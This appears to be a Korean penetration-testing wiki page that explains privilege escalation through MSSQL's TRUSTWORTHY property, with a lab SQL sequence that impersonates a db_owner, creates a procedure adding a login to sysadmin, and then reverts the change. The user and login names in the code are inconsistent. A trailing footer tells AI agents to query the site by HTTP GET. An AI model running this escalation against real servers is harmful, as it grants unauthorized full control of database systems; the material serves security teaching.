# TRUSTWORTHY

TRUSTWORTHY는 MSSQL에 있는 데이터베이스 속성입니다. 이는 SQL Server 인스턴스가 해당 데이터베이스 내의 코드와 객체들을 신뢰하여 시스템에 접근할 수 있도록 허용할지 결정하는 속성입니다. 개발 과정에서 특정 데이터베이스에서 신뢰 기반으로 서버 시스템에 접근할 수 있어야 할 경우 이러한 기능을 켜두지만, 기본 값은 off 상태입니다.&#x20;

만약 공격자가 TRUSTWORTHY 기능이 켜진 데이터베이스를 확보하고, 그 데이터베이스의 db\_owner 역할을 가진 사용자 권한을 획득하거나 가장할 수 있다면, EXECUTE AS OWNER 옵션을 사용해 sysadmin 권한까지 확보할 수 있습니다.

실습 환경은 다음을 가정합니다.

* 데이터베이스 : pentest
* 현재 로그인 정보 : wiki
* 가장 가능한 사용자 정보 : victim
* pentest의 db\_owner : victim

<pre class="language-sql"><code class="lang-sql"><strong># 데이터베이스의 TRUSTWORTHY 활성화 여부 확인
</strong>SELECT name, is_trustworthy_on  FROM sys.databases;

<strong># 가장할 수 있는 사용자 목록 열거
</strong>SELECT name FROM sys.server_permissions JOIN sys.server_principals ON grantor_principal_id = principal_id WHERE permission_name = 'IMPERSONATE';

<strong># 현재 사용자 / 가장한 사용자 콘솔에서 유저가 TRUSTWORTHY가 활성화된 데이터베이스의 오너인지 확인
</strong>SELECT IS_ROLEMEMBER('db_owner');

<strong># vintim 사용자 계정을 가장하여 권한상승 프로시서 생성 및 활성화 후 삭제
</strong>CREATE PROCEDURE sp_privesc WITH EXECUTE AS OWNER AS EXEC sp_addsrvrolemember 'pentest', 'sysadmin';
EXECUTE sp_privesc;
DROP PROCEDURE sp_privesc;

<strong># pentest 사용자 세션으로 돌아와서 권한 정보 확인
</strong>REVERT;
SELECT IS_SRVROLEMEMBER('sysadmin');

<strong># pentest 사용자 권한 되돌리기
</strong>EXEC sp_dropsrvrolemember 'ws_dev', 'sysadmin';

</code></pre>

## References

{% embed url="<https://learn.microsoft.com/ko-kr/sql/relational-databases/security/trustworthy-database-property?view=sql-server-ver16>" %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.pentestwiki.com/etc/cs/trustworthy.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
